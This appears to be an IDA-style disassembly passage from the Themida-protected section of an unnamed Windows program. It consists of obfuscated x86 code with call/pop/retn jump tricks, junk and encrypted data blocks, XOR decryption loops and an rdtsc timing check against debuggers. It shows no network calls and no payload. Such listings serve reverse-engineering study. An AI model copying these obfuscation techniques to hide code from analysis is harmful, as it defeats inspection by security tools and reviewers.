		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5949DD	endp

; ---------------------------------------------------------------------------
		db 94h,	0ACh, 78h
; ---------------------------------------------------------------------------
		mov	esp, 1FCDBD8Bh
		push	cs
		push	es
		mov	dword ptr [ebp+60E28D9h], 3
		cmp	dword ptr [ebp+611A07Bh], 0
		jz	loc_594A56
		pusha
		mov	dl, 35h
		pusha
		jmp	loc_594A2A
; ---------------------------------------------------------------------------
		db 80h
		dd 84824C63h, 768758E9h, 0BA222F42h, 9BC6CF94h
		db 0BCh, 2Fh
; ---------------------------------------------------------------------------


loc_594A2A:				; CODE XREF: Themida_:00594A12j
		or	[ebp+60E2D35h],	ebx
		popa
		popa
		jmp	loc_594A71
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_594A42
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594A42	proc near		; CODE XREF: Themida_:00594A3Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_594A42	endp

; ---------------------------------------------------------------------------
		dw 80DDh
		db 0EBh, 66h
; ---------------------------------------------------------------------------


loc_594A56:				; CODE XREF: Themida_:00594A08j
					; Themida_:00594A6Dj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_594A56
		jmp	short loc_594AA7
; ---------------------------------------------------------------------------


loc_594A71:				; CODE XREF: Themida_:00594A32j
					; Themida_:00594A88j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_594A71
		jmp	short loc_594AA7
; ---------------------------------------------------------------------------


loc_594A8C:				; CODE XREF: Themida_:00594AA3j
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_594A8C
		jmp	short $+2


loc_594AA7:				; CODE XREF: Themida_:00594A6Fj
					; Themida_:00594A8Aj
		mov	eax, eax
		sub	edi, 46627336h
		push	0
		push	ecx
		call	sub_594ABA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594ABA	proc near		; CODE XREF: Themida_:00594AB2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_594ABA	endp

; ---------------------------------------------------------------------------
		dw 0E2D7h
; ---------------------------------------------------------------------------
		mov	[eax-1Eh], ch
		mov	ds:0D744890Fh, eax
		cmp	dword ptr [ebp+60E28D9h], 3
		jnz	loc_594F57
		jnb	loc_594AED
		sub	[ebp+60E2A59h],	edi


loc_594AED:				; CODE XREF: Themida_:00594AE1j
		cmp	dword ptr [ebp+611A07Bh], 0
		jz	loc_594F57
		push	0
		push	eax
		call	sub_594B05
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594B05	proc near		; CODE XREF: Themida_:00594AFDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_594B05	endp

; ---------------------------------------------------------------------------
		db 26h,	0C5h, 24h
		dd 862A2CBFh, 8901AF60h, 0E0BE185h, 7BB5FF06h, 8B0611A0h
		dd 0E0AE59Dh, 0D595FF06h, 8A060E08h, 6FB58BD8h,	8B0611A0h
		dd 106C7FAh, 60000100h,	9D295F57h, 60E2DEDh, 0D6BF9661h
		dd 501FCC82h, 0F9692B7h, 686h, 0B18D0900h, 0E8060E33h
		dd 11h,	0D0AAD96Ch, 1D4DD75Ch, 0F913CC38h, 43360E4Bh, 0EDBD299Eh
		dd 5F060E33h, 0A07BB5FFh, 0F3810611h, 37B2DF14h, 101995FFh
		dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 740B06C3h, 8BD42A0Ah, 11A06FB5h, 0DE906h
		dd 3CCA0000h, 0F0C6E29Dh, 95796477h, 8B9AFF3Ah,	0E00A985h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 15AE1674h, 9D8B21F8h, 60E0945h, 0C48689h
		dd 8B660000h, 0C5958BDAh, 0F060E2Fh, 580h, 0D81CBF00h
		dd 0C28329A6h, 5089F804h, 57006A20h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 73B021Bh, 3F83F5B5h
		dd 1C858D67h, 890611B4h, 0E0AF58Dh, 0B8868906h,	0B7000000h
		dd 6A006AA1h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0AD87C357h, 0CE3528B2h, 0E9501E06h
		dd 13h,	70E8AF3h, 0C013852Eh, 0C16D3FC9h, 3C34A57h, 5BF3843Ch
		dd 0A07BB5FFh, 6A0611h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 6B1D0C3h, 0BB6DEA4Fh, 35ED4EDEh
		dd 0FFFB8B66h, 0E1E4995h, 9DBD3106h, 66060E18h,	9644D6BFh
		dd 50FE8B66h, 96FE8B66h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 84C35242h, 0FE8B2DBh,	0A6000000h, 95463E8Ch
		dd 49C8C871h, 0F0DACA66h, 0CB80C2BBh, 0B5FF5F42h, 611A07Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A2C35545h
		dd 32F299Fh, 0FFF88A48h, 0E16D195h, 61BD0106h, 83060E0Ch
		dd 0E30D5BDh, 840F0006h, 8Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0DCC35343h,	2A1A4A9Ch, 0E94E3E44h
		dd 0Eh,	0F6A116F1h, 0FA7C00BAh,	5A068206h, 0E8969D95h
		dd 0Fh,	7931ACBBh, 33C9DC18h, 0CFFE2130h, 0BF957B00h, 27ECB4CCh
		dd 0F50505Fh, 282h, 5FFA8B00h, 52006A96h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 154C0C86h
		dd 6039036Eh, 3D81D181h, 5BB645B9h, 0DEBF0F61h,	0A07BB5FFh
		dd 6A0611h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 8900CDC3h, 0B3BBE307h, 8B6060ACh,	2FDA81C2h
		dd 6152941Dh, 8195FF61h, 6A060E29h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 942CC352h
		dd 570B97A9h, 65620BE4h, 0A07BB5FFh, 8E0F0611h,	4, 357DBB66h
		dd 1ABD95FFh, 6A060Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 9A8834C3h, 0F3DE519Fh, 0DFBA72BFh
		dd 0D5BD8352h, 2060E29h, 9F840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B01C43C3h
		dd 3811B1BBh, 0D8BF0F2Ah, 7D1858Bh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 66BE3FC3h
		dd 0F022BD61h, 0BD8B3A53h, 60E0E0Dh, 2D55BD8Bh,	0C6060Eh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 0C5B23853h, 299D03C8h, 0E8060E0Eh, 0Eh
		dd 2FBF9D53h, 68286FF9h, 0EE888882h, 0F3816E2Eh, 2E9CAC18h
		dd 1585C75Bh, 60E35h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		db 74h,	24h
word_594F42	dw 8104h		; DATA XREF: ___:00438C80o
		dd 1C042444h, 46000000h, 0BD3CC356h, 0D126D72Fh
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		add	ecx, ebx


loc_594F57:				; CODE XREF: Themida_:00594ADBj
					; Themida_:00594AF4j
		jmp	near ptr loc_5942C8+2
; ---------------------------------------------------------------------------
		jmp	loc_594F68
; ---------------------------------------------------------------------------
		db 75h,	0E9h, 0CFh
; ---------------------------------------------------------------------------
		lds	eax, [ebx+77h]
		inc	ecx


loc_594F68:				; CODE XREF: Themida_:00594F5Cj
		mov	eax, ecx
		lea	eax, [ebp+60E19C1h]
		mov	edi, 189A25AFh
		nop
		push	edx
		mov	edi, ebx
		pop	edi
		push	eax
		mov	edi, eax
		nop
		push	0
		push	ebp
		call	sub_594F89
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594F89	proc near		; CODE XREF: Themida_:00594F81p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_594F89	endp

; ---------------------------------------------------------------------------
		xchg	eax, esi
		std
		jo	loc_594FA7
		mov	ebx, [ebp+60E07C5h]


loc_594FA7:				; CODE XREF: Themida_:00594F9Bj
		jmp	loc_594FB7
; ---------------------------------------------------------------------------
		dd 631F339Eh, 768628DDh
		db 73h,	0ECh, 0B0h
; ---------------------------------------------------------------------------


loc_594FB7:				; CODE XREF: Themida_:loc_594FA7j
		push	0
		push	0
		push	eax
		call	sub_594FC4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_594FC4	proc near		; CODE XREF: Themida_:00594FBCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_594FC4	endp

; ---------------------------------------------------------------------------
		inc	eax
		adc	bh, [ebx+6AA524h]
		jmp	loc_594FF4
; ---------------------------------------------------------------------------
		dd 2C931BB1h, 1ABDC99Eh, 3CE3FA83h, 0CDF19EE4h,	755C4EB8h
; ---------------------------------------------------------------------------


loc_594FF4:				; CODE XREF: Themida_:00594FDBj
		mov	bx, 0AA2h
		lea	eax, [ebp+612BB6Ah]
		mov	ebx, [ebp+60E16D5h]
		add	eax, 5
		push	0
		push	edi
		call	sub_595012
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595012	proc near		; CODE XREF: Themida_:0059500Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_595012	endp

; ---------------------------------------------------------------------------
		dw 61D3h
		dd 5C901BA0h, 5070A497h, 0EE8h,	0A8CF9600h, 7702BF9Ah
		dd 2462506h, 50D0F4F8h,	7EF6BF52h, 310F0889h, 895B585Ah
		dd 8F0F2404h, 6, 2F55BD23h, 6A060Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0AC35545h, 0F8DFFC92h, 0BCD78166h
		dd 6A006ADDh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 23C3C355h, 819D8B08h, 60060E2Dh
		dd 0FD18B66h, 68Eh, 0A98D8B00h,	61060E08h, 2FE195FFh, 6A060Eh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0D1E296C3h, 3FEDBA55h, 1059589h, 8D8D060Eh, 611924Bh
		dd 0CFCF8166h, 8BD1FF28h, 79BD83DEh, 1060E0Dh, 64850Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 8579FC3h,	26A0FB3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0FAC35242h,	7F83B52Dh, 9D89609Ch
		dd 60E220Dh, 9061F98Bh,	890F50h, 90000000h, 820F60h, 61000000h
		dd 1E4995FFh, 3E9060Eh,	0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 612BB74h
		or	[ebp+60E2EB1h],	edi
		mov	bl, 0F9h
		xor	bh, 1Bh
		lea	eax, [ebp+6118405h]
		push	0
		push	ebp
		call	sub_595193
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595193	proc near		; CODE XREF: Themida_:0059518Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_595193	endp

; ---------------------------------------------------------------------------
		mov	ds:0DFB23A56h, eax
		sahf
		jmp	loc_5951B5
; ---------------------------------------------------------------------------
		dw 44BBh
		dd 35705629h
; ---------------------------------------------------------------------------
		cmpsb


loc_5951B5:				; CODE XREF: Themida_:005951A9j
		nop
		push	eax
		push	eax
		push	edx
		mov	ebx, esi
		rdtsc
		mov	di, 8F01h
		pop	edx
		pop	eax
		pop	ebx
		push	eax
		jmp	loc_5951DB
; ---------------------------------------------------------------------------
		dw 0C288h
		dd 3C3924CFh, 6E221B9Ah, 0C255A912h
		db 0DAh, 0F8h, 1Ch
; ---------------------------------------------------------------------------


loc_5951DB:				; CODE XREF: Themida_:005951C5j
		nop
		push	0
		push	edx
		call	sub_5951E7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5951E7	proc near		; CODE XREF: Themida_:005951DFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5951E7	endp

; ---------------------------------------------------------------------------
		db 0ABh
		dd 54C3B56Dh, 64DF9CBFh, 35FFh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 317EEBC3h
		dd 0E07F995h, 25896406h, 0
; ---------------------------------------------------------------------------
		mov	edi, esi
		inc	dword ptr [ebp+60E1475h]
		xor	[ebp+60E04D9h],	ecx
		push	0FFFFFFFFh
		jmp	loc_595258
; ---------------------------------------------------------------------------
		db 0FBh, 89h, 0B8h
; ---------------------------------------------------------------------------
		retf	0E47Ch
; ---------------------------------------------------------------------------
		db 0DEh
		dd 0A395E868h, 0C80006E8h, 67A03D31h
; ---------------------------------------------------------------------------


loc_595258:				; CODE XREF: Themida_:00595240j
		push	dword ptr [ebp+60E0CD5h]
		push	0
		push	ecx
		call	sub_595269
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595269	proc near		; CODE XREF: Themida_:00595261p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_595269	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [edi], 8195FF97h
		das
		push	cs
		push	es
		jmp	loc_5953D0
; ---------------------------------------------------------------------------
		db 66h
		dd 0B0DA8Bh, 0BE8h, 77A80200h, 8DC5B98Ch, 65DAE12Bh, 821B501h
		dd 0BB5B060Eh, 48D476AAh, 0E96070E6h, 0Bh, 0CA620EBFh
		dd 0A04EF43Eh, 0F0F338Eh, 689h,	0FDB58B00h, 61060E17h
		dd 0B53171E4h, 60E0A01h, 830F613Ch, 0F8h, 0BD83A5BFh, 0C8B60F5Dh
		dd 0E830Fh, 23600000h, 0E1EDD95h, 69858B06h, 61060E18h
		dd 7E9h, 0B9A9AE00h, 9F0775F8h,	6BAh, 7E900h, 3650000h
		dd 67216B7Eh, 0FC18BA5h, 0E86h,	9E900h,	0EA9D0000h, 6F669453h
		dd 0C13DB5DFh, 958904E8h, 60E1DFDh, 0BFE2F766h,	0E990963h
		dd 0C82B6160h, 2EC1BD29h, 0D18B060Eh, 3E9h, 0FB8B6600h
		dd 29E5858Bh, 0BE9060Eh, 1A000000h, 4AD4EE4Eh, 4AB20722h
		dd 0C083CD50h, 0BF665707h, 0F5F419Fh, 489h, 0D8BB6600h
		dd 0C08382h, 17BD9D8Bh,	0D03B060Eh, 0B830Fh, 0BD030000h
		dd 60E08D9h, 3FE9h, 3D8D8B00h, 83060E13h, 840F01E1h, 30h
		dd 83FA8B66h, 0E133DA5h, 890FFE06h, 0Ch, 68D0Fh, 0BD8B0000h
		dd 60E3309h, 29E59589h,	8B66060Eh, 5D9D29FBh, 0E9060E2Dh
		dd 0
; ---------------------------------------------------------------------------


loc_5953D0:				; CODE XREF: Themida_:00595282j
		lea	esi, [ebp+6120C2Dh]
		push	0
		push	edx
		call	sub_5953E1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5953E1	proc near		; CODE XREF: Themida_:005953D9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5953E1	endp

; ---------------------------------------------------------------------------
		test	cl, 0C5h
		sbb	eax, 793F7520h
		scasb
		mov	edi, 66921E6Eh
		push	0
		push	0
		push	eax
		call	sub_59540C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59540C	proc near		; CODE XREF: Themida_:00595404p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_59540C	endp

; ---------------------------------------------------------------------------
		dd 13495F31h, 63BF4144h, 4595FF3Dh, 89060E0Fh, 0E256985h
		dd 86CB906h, 840F0000h,	0
; ---------------------------------------------------------------------------
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebx
		call	sub_59544A
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59544A	proc near		; CODE XREF: Themida_:00595442p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_59544A	endp

; ---------------------------------------------------------------------------
		dw 1B7Fh
		dd 99F52B91h, 806CACE8h, 8BFC73EBh, 0B8F8h, 8D310000h
		dd 60E1CA9h, 6AD22Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 731960C3h, 8D0FBA79h, 0Ch, 6870Fh
		dd 85890000h, 60E1799h,	0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0AC35545h
		dd 5A78EAA0h, 8634BF66h, 18F59D8Bh, 880D060Eh, 0F000000h
		dd 580h, 0F3816600h, 958B1CB3h,	60E2FC5h, 17799D29h, 8D8B060Eh
		dd 60E0881h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0B8C35545h, 0E11BAF9Ah,	0D8DCF92Ah, 1DBD8B33h
		dd 0F8060E30h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 95015818h, 60E316Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 71C35343h, 16D20F06h,	4B467C0Ch, 3E32BF1Dh
		dd 952966B5h, 60E0211h,	0DE9h, 50184D00h, 0F6DB88ABh, 0A0F35C0Ch
		dd 0BD832BBDh, 60E0C6Dh, 68840F00h, 0E9000000h,	14h, 0B1717C0Dh
		dd 0AD3967F5h, 1484FF64h, 0D0D3A757h, 5AAFC0Fh,	0B8h, 0CE900h
		dd 0C2FC0000h, 0F235F4BBh, 0BBB77528h, 8D8D15ABh, 60E4DD1h
		dd 0ED781h, 0E1FF14ABh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 81C35646h, 0A980041Dh, 2318468Bh, 0D8BF0F4Fh
		dd 83DAB70Fh, 0E28D9BDh, 840F0006h, 404h, 8899D8Bh, 0BD83060Eh
		dd 60E28D9h, 0C840F01h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 28ABC357h
		dd 20F8DE34h, 0D9BD83C6h, 3060E28h, 3A7860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0BF0FF2C3h, 0B58960D8h, 60E18A5h, 0FD98C66h,	283h, 60DFB700h
		dd 8E8h, 59FDFF00h, 35DFEF0Fh, 0EDBD31EBh, 5F060E29h, 0BE9h
		dd 7B05F100h, 67360A38h, 6CF761A0h, 4E18061h, 0A7D38166h
		dd 0FC90AF9h, 0EB84h, 459D3100h, 8B060E16h, 0E17F985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 87BF66C5h, 1D853353h, 6A060E1Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0E85FC355h, 0B0609022h, 0BB506124h, 9E9A9BDh, 2FDFBB90h
		dd 6A1C3Dh, 0CE957h, 52F70000h,	3C52BB60h, 0F1CD2045h
		dd 8B5FDEC2h, 323768FBh, 481CED3h, 4BD1C824h, 52006A31h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 7654ECF7h, 2C459501h, 95FF060Eh, 60E0ED5h, 22712DBFh
		dd 0DBB70F79h, 0A07B8589h, 0BF0F0611h, 209E9F9h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 1FB789C3h, 57CB8160h, 615D857Ch, 0A073858Bh,	6A0611h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B2888C3h, 819B7106h, 0F88B48CDh, 1800C7h, 8A0F0000h
		dd 0
; ---------------------------------------------------------------------------
		jge	loc_5957E0
		mov	[ebp+60E30D9h],	ebx


loc_5957E0:				; CODE XREF: Themida_:005957D4j
		mov	esi, [ebp+611A077h]
		movsx	edi, dx
		mov	eax, [ebp+60E1435h]
		push	0
		push	eax
		call	sub_5957FA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5957FA	proc near		; CODE XREF: Themida_:005957F2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5957FA	endp

; ---------------------------------------------------------------------------
		sbb	al, 3Eh
		setalc
		mov	esi, 84C446BFh
		sub	[ebp+60E02D5h],	ecx
		mov	[esi], eax
		push	0
		push	ebx
		call	sub_595825
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595825	proc near		; CODE XREF: Themida_:0059581Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_595825	endp

; ---------------------------------------------------------------------------
		db 61h,	0E8h, 44h
; ---------------------------------------------------------------------------
		test	[ebx+4D01BD26h], bh
		xchg	eax, edi
		cmc
		mov	eax, [ebp+60E17F9h]
		push	0
		push	edi
		call	sub_595851
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_595851	proc near		; CODE XREF: Themida_:00595849p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_595851	endp

; ---------------------------------------------------------------------------
		db 18h,	0E8h, 0Ah
		dd 0AA000000h, 84973CE4h, 73DBB3ECh, 0FAB70F23h, 4689F95Bh
		dd 50FB8B04h, 5820Fh, 0C3BB0000h, 892BEBE5h, 95892434h
		dd 60E04B9h, 0A073B5FFh, 6A0611h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 233955C3h, 0BD338B7Eh
		dd 60E3151h, 7C2EBF66h,	4E8h, 1F03FF00h, 505F5700h, 0DA67B860h
		dd 0C28B2F2Fh, 24448B61h, 0BF008B04h, 294D5DD3h, 4244489h
		dd 0AE8h, 0DCA87100h, 2B255D79h, 600DDAB9h, 310F5250h
		dd 7E8585Ah, 11000000h,	60CA64B2h, 61597883h, 6A585Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0AC3008C3h, 0FC88B654h, 6820F6Dh, 89000000h,	0E174195h
		dd 7B858D06h, 0F0611A0h, 686h, 0B5B50900h, 90060E04h, 0E76BB66h
		dd 0C88B6050h, 0DC8A9061h, 68D78166h, 0D595FF09h, 6A060E0Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 61B0C352h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0C5C35646h, 74168A4Bh, 0A59D09D7h, 0C7060E2Eh
		dd 0E28D985h, 306h, 83D98B00h, 11A07BBDh, 840F0006h, 31h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E4C35646h
		dd 0B8CDF19Eh, 0A399D8Bh, 21E9060Eh, 8B000000h,	0E2D3D9Dh
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 30F9BD8Bh, 8166060Eh, 83B953CFh,	0E28D9BDh
		dd 850F0306h, 3EDh, 5767EF81h, 0BD8366E8h, 611A07Bh, 0DA840F00h
		dd 51000003h, 72C78166h, 0B5FF5B1Ch, 611A07Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 6CC35040h, 8D595FFh
		dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 7F3FCBC3h, 601B1978h, 19F18D8Bh, 858B060Eh
		dd 60E277Dh, 0B58BFC61h, 611A06Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 4AC35646h, 0DA8B58EEh, 106C7h
		dd 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 60AF0CC3h, 0FF18B66h, 684h, 0F5BD0B00h, 61060E24h
		dd 48F0F96h, 66000000h,	506F3BBFh, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F55973F9h
		dd 0A898589h, 0B5FF060Eh, 611A07Bh, 8BDE8B66h, 0E13699Dh
		dd 1995FF06h, 89060E10h, 0E340995h, 6FB58B06h, 0FC0611A0h
		dd 0A9858Bh, 8B57060Eh,	0E1CC5BDh, 81665B06h, 89AC7AE3h
		dd 0C486h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0C5958B1Eh, 89060E2Fh, 0E32E585h
		dd 0C283FC06h, 5089F804h, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8BE12C0Ch
		dd 0E2001BDh, 1C858D06h, 8B0611B4h, 0E1B959Dh, 0B8868906h
		dd 0E9000000h, 8, 0E8327B87h, 0D59978FFh, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 69FF5FC3h, 360F2AE7h, 6810F52h, 8B000000h, 0E3405BDh
		dd 7BB5FF06h, 0F0611A0h, 482h, 0EABF6600h, 4995FFEAh, 0E8060E1Eh
		dd 12h,	1F927F59h, 31BF9F88h, 279F806Ah, 8BF6C07Ah, 0BF0F0DD5h
		dd 66505FD9h, 3489D88Bh, 0BD8B5124h, 60E0BC5h, 7BB5FF5Bh
		dd 6A0611A0h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 51F4C352h, 48D0Fh, 0BF660000h
		dd 95FF22F6h, 60E16D1h,	2890Fh,	0FE8A0000h, 30D5BD83h
		dd 0F00060Eh, 3684h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 608B6E6Dh, 0BD8B8BB4h
		dd 60E3421h, 29BD2961h,	96060E2Fh, 8B665250h, 0FF965FDFh
		dd 11A07BB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0CD686906h, 0BF660D29h, 0BD8B0638h
		dd 60E09C5h, 298195FFh,	6A060Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 3A8B8DC3h, 0FEE7FD95h
		dd 892DC435h, 0E232595h, 7BB5FF06h, 6A0611A0h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0EC08C352h, 0E48F91F7h, 1ABD95FFh, 10E9060Eh, 82000000h
		dd 0CE7F25A9h, 0FC178BE8h, 0BB4ABF12h, 83C04FBCh, 0E29D5BDh
		dd 840F0206h, 75h, 2D9BD8Bh, 858B060Eh,	60E07D1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 82C35646h, 943AA8EFh
		dd 661C084Fh, 0BE8FB8Bh, 6A000000h, 1E6446DFh, 352F2BA3h
		dd 0F860E03Bh, 0FD5858Bh, 5F61060Eh, 6A0000C6h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 83A9C353h, 89466CD3h, 0E31B195h, 1585C706h, 60E35h
